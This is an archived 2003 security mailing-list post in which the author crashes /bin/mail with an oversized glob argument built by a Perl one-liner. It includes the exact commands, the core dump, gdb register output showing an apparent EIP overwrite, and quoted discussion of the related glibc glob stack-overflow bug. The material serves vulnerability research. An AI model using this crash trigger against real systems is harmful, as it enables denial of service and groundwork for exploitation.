Message-ID: <Pine.LNX.4.44.0305282109440.18921-100000@oakey.no-ip.com>
From: uk2sec at oakey.no-ip.com (uk2sec@...ey.no-ip.com)
Subject: /bin/mail & glibc

Hi,

Not sure if you remember a while ago on vuln-dev a topic called 
'bash-blues' - it was about seg faulting bash with this command:

`perl -e 'print "*/*" x 9000'`

(turned out it was actually a small bug in glibc rather than bash)

see: http://lists.insecure.org/lists/vuln-dev/2003/Feb/0020.html


I've had a bit of spare time today messing around and I played around 
with the output from the command that was talked about in the bash blues 
posting.  This time however I used /bin/mail instead of bash.

Anyway here goes:

Pop into a 'zsh' shell which doesn't crash like bash when you mess with 
the above command, and run this:


perl -e 'print "*/*" x 9000' > subs


Now, this just pops '**/' into a file quite a few times.


Okay, now ensure core dumps are turned on:


oakey%   ulimit -c 99999


And run:

oakey%   /bin/mail -s Test -c `cat subs` root@...alhost

(press enter a couple of times, and then type 

. <enter>

to send the email.


Here's my output:


oakey% /bin/mail -s Test -c `cat subs` root@...alhost

.
Cc: too long to edit
zsh: segmentation fault (core dumped)  /bin/mail -s Test -c `cat subs` 
root@...alhost


looking at the core dump we get:


oakey% gdb file core.18280
GNU gdb Red Hat Linux (5.3post-0.20021129.18rh)
Copyright 2003 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you 
are welcome to change it and/or distribute copies of it under certain 
conditions.  Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for 
details.
This GDB was configured as "i386-redhat-linux-gnu"...
(no debugging symbols found)...

warning: core file may not match specified executable file.

Core was generated by 
`/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**/**
/**/**/**/**/**/**/**/'.
Program terminated with signal 11, Segmentation fault.
#0  0x2a2a2f2a in ?? ()
(gdb) i r
eax            0x8064d80        134630784
ecx            0xbfff6650       -1073781168
edx            0x1      1
ebx            0x2a2f2a2a       707734058
esp            0xbfff8670       0xbfff8670
ebp            0x2a2f2a2a       0x2a2f2a2a   <-----
esi            0x2a2a2f2a       707407658
edi            0x2f2a2a2f       791292463
eip            0x2a2a2f2a       0x2a2a2f2a   <-----
eflags         0x10286  66182
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x33     51



I remember from the vuln-dev post 'bash-blues' what was thought to be 
a bash problem infact wasn't - it was actually a problem in glibc:


-- quote 1 --
It's a stack overflow, due to glob_filename (in glob.c) recursively 
calling itself while parsing the filename. So probably not exploitable. 

- Blazde 


-- quote 2 --

It looks to be the only correct post in this thread :) Yes, it's 
definitely bug in glibc, not in bash itself (same versions of bash on 
libc systems like FreeBSD are not affected). Recurse call stack overflow 
is believed not to be exploitable to code execution, but since this bug 
is in library it may be treated as security one as it may be exploited 
remotely (at least as a DoS) in a case glob_filename is used in some 
network service. 

- 3APA3A


I remember from the bash posting a few months ago that we only overwrote 
the ecx register:

X86: ecx: 0x2f2f2f2f

Just wondering what (if any) relevance todays post may have with regard 
to the glibc issue - since we overwrote the eip register today?  I did however notice in 
gdb it stated:  warning: core file may not match specified executable 
file, so I'm guessing the eip overwrite is just a result of our example 
(using /bin/mail), and not of the real bug in glibc?

cheers,

Powered by blists - more mailing lists